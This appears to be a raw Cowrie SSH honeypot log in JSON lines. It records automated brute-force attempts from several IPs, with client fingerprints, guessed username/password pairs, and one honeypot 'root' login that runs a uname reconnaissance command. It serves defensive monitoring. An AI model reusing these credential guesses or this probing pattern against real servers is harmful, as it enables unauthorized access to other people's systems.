{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:45:20.214351Z","src_ip":"2.57.122.208","session":"825391a1f06f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:45:20.699205Z","src_ip":"2.57.122.208","session":"825391a1f06f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:45:21.904240Z","src_ip":"2.57.122.208","session":"825391a1f06f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":49416,"dst_ip":"159.203.135.109","dst_port":22,"session":"57b413252cd1","protocol":"ssh","message":"New connection: 193.32.162.145:49416 (159.203.135.109:22) [session: 57b413252cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:45:26.381111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:45:26.386143Z","src_ip":"193.32.162.145","session":"57b413252cd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:45:26.501479Z","src_ip":"193.32.162.145","session":"57b413252cd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"bot","message":"login attempt [sol/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:45:26.826981Z","src_ip":"193.32.162.145","session":"57b413252cd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:45:28.023743Z","src_ip":"193.32.162.145","session":"57b413252cd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":59676,"dst_ip":"159.203.135.109","dst_port":22,"session":"46966c8c281a","protocol":"ssh","message":"New connection: 160.191.244.236:59676 (159.203.135.109:22) [session: 46966c8c281a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:45:49.909627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:45:49.913451Z","src_ip":"160.191.244.236","session":"46966c8c281a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:45:50.160410Z","src_ip":"160.191.244.236","session":"46966c8c281a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cent","password":"cent123","message":"login attempt [cent/cent123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:45:51.140107Z","src_ip":"160.191.244.236","session":"46966c8c281a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:45:52.381181Z","src_ip":"160.191.244.236","session":"46966c8c281a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.63.205","src_port":47604,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc60dd7b2d5b","protocol":"ssh","message":"New connection: 196.188.63.205:47604 (159.203.135.109:22) [session: cc60dd7b2d5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:11.760971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:11.764716Z","src_ip":"196.188.63.205","session":"cc60dd7b2d5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:11.971876Z","src_ip":"196.188.63.205","session":"cc60dd7b2d5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"candy","password":"123","message":"login attempt [candy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:12.831239Z","src_ip":"196.188.63.205","session":"cc60dd7b2d5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:14.039969Z","src_ip":"196.188.63.205","session":"cc60dd7b2d5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":48116,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3beca38cbf5","protocol":"ssh","message":"New connection: 2.57.122.96:48116 (159.203.135.109:22) [session: e3beca38cbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:18.043010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:18.051660Z","src_ip":"2.57.122.96","session":"e3beca38cbf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:18.156531Z","src_ip":"2.57.122.96","session":"e3beca38cbf5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:18.466927Z","src_ip":"2.57.122.96","session":"e3beca38cbf5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:18.701703Z","src_ip":"2.57.122.96","session":"e3beca38cbf5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:18.704255Z","src_ip":"2.57.122.96","session":"e3beca38cbf5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:18.809999Z","src_ip":"2.57.122.96","session":"e3beca38cbf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:18.814577Z","src_ip":"2.57.122.96","session":"e3beca38cbf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53502,"dst_ip":"159.203.135.109","dst_port":22,"session":"5001de8c2096","protocol":"ssh","message":"New connection: 2.57.122.208:53502 (159.203.135.109:22) [session: 5001de8c2096]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:40.451443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:40.596468Z","src_ip":"2.57.122.208","session":"5001de8c2096","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:40.599491Z","src_ip":"2.57.122.208","session":"5001de8c2096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:41.712550Z","src_ip":"2.57.122.208","session":"5001de8c2096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:42.825761Z","src_ip":"2.57.122.208","session":"5001de8c2096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40448,"dst_ip":"159.203.135.109","dst_port":22,"session":"680096fd046b","protocol":"ssh","message":"New connection: 193.32.162.145:40448 (159.203.135.109:22) [session: 680096fd046b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:46.088478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:46.092940Z","src_ip":"193.32.162.145","session":"680096fd046b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:46.212401Z","src_ip":"193.32.162.145","session":"680096fd046b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"solana","message":"login attempt [postgres/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:46.654876Z","src_ip":"193.32.162.145","session":"680096fd046b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:47:47.760451Z","src_ip":"193.32.162.145","session":"680096fd046b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":38534,"dst_ip":"159.203.135.109","dst_port":22,"session":"d04d2dee1b5a","protocol":"ssh","message":"New connection: 160.191.244.236:38534 (159.203.135.109:22) [session: d04d2dee1b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:48:03.024973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:48:03.030379Z","src_ip":"160.191.244.236","session":"d04d2dee1b5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:48:03.266297Z","src_ip":"160.191.244.236","session":"d04d2dee1b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"passadmin","password":"123","message":"login attempt [passadmin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:48:04.217896Z","src_ip":"160.191.244.236","session":"d04d2dee1b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:48:05.462633Z","src_ip":"160.191.244.236","session":"d04d2dee1b5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37226,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5d8726e1d35","protocol":"ssh","message":"New connection: 2.57.122.208:37226 (159.203.135.109:22) [session: d5d8726e1d35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:49:51.009079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:49:51.013398Z","src_ip":"2.57.122.208","session":"d5d8726e1d35","protocol":"ssh"}
